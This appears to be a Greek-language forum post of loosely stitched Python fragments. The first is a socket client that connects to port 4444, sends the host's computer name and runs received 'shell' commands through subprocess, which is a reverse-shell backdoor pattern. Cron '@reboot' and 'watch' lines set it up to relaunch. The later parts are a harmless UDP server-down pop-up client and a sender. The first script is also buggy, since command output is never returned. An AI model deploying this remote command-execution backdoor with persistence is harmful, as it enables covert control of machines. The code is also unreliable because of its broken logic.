ΘΕΜΑ: python socket client script

import socket
import os
import subprocess
 
 
def connect():
    global host
    global port
    global s
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 4444
    host = '127.0.0.1'
    s.connect((host, port))
    s.send(os.environ['COMPUTERNAME'])
 
 
 
def receive():
    receive = s.recv(1024)
    if receive == 'quit':
        s.close()
    elif receive[0:5] == 'shell':
        proc2 = subprocess.Popen(receive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_val = proc2.stdout.read() + proc2.stderr.read()
        args = stdout_val
    else:
        args = 'no valid input was given'
        send(args)
 
def send(args):
    send = s.send(args)
    receive()
 
 
 
connect()
receive()
s.close()

watch -5 /home/user/script_name

@reboot /home/user/script_name

watch -n 5 /home/user/script_name

cd C:\python_scripts
python servers_status_client.py

cd C:\python_scripts
python servers_status_client.py

import sys, time
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
from tkinter import *
import tkinter as tk
 
currentDateTime = time.strftime("%d/%m/%Y %H:%M:%S")
PORT_NUMBER = 5000
SIZE = 1024
 
hostName = gethostbyname('0.0.0.0')
 
mySocket = socket( AF_INET, SOCK_DGRAM )
mySocket.bind( (hostName, PORT_NUMBER) )
 
print ("Client listening on port {0}\n".format(PORT_NUMBER))
 
while True:
 
	(data, addr) = mySocket.recvfrom(SIZE)
	strMessage = '{} \n\n ο server με ip {} \n δεν απαντά.'.format(currentDateTime, data)
	NORM_FONT = ("Helvetica", 11)
	popup = tk.Tk()
	popup.wm_title("ΠΡΟΣΟΧΗ!")
	label = tk.Label(popup, text = strMessage, font = NORM_FONT)
	label.pack(side = "top", fill = "x", pady = 10)
	B1 = tk.Button(popup, text="Κλείσιμο", command = popup.destroy)
	B1.pack()
#	popup.geometry("400x150")																	#disabled for auto fit
	popup.wm_attributes("-topmost", 1)															#this directive is to keep popup window always on top of all other windows
	popup.mainloop()
 
sys.exit()

 
 
#Import libraries
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
#
# send message to client pc's
#
def sendMessageToClients(strMessage, chHost):
	try:
#		CLIENT_IP_LIST   = ('192.0.0.216', '192.0.0.150', '192.0.0.15')
		CLIENT_IP_LIST   = ('192.0.0.216',)
		PORT_NUMBER = 5000
		SIZE = 1024
		for CLIENT_IP in CLIENT_IP_LIST:
			mySocket = socket(AF_INET, SOCK_DGRAM)
			for i in range(0, 1):
				mySocket.sendto(bytes(strMessage, encoding = "iso-8859-7"),(CLIENT_IP, PORT_NUMBER) )
	except Exception as sendMessageException:
		print(sendMessageException)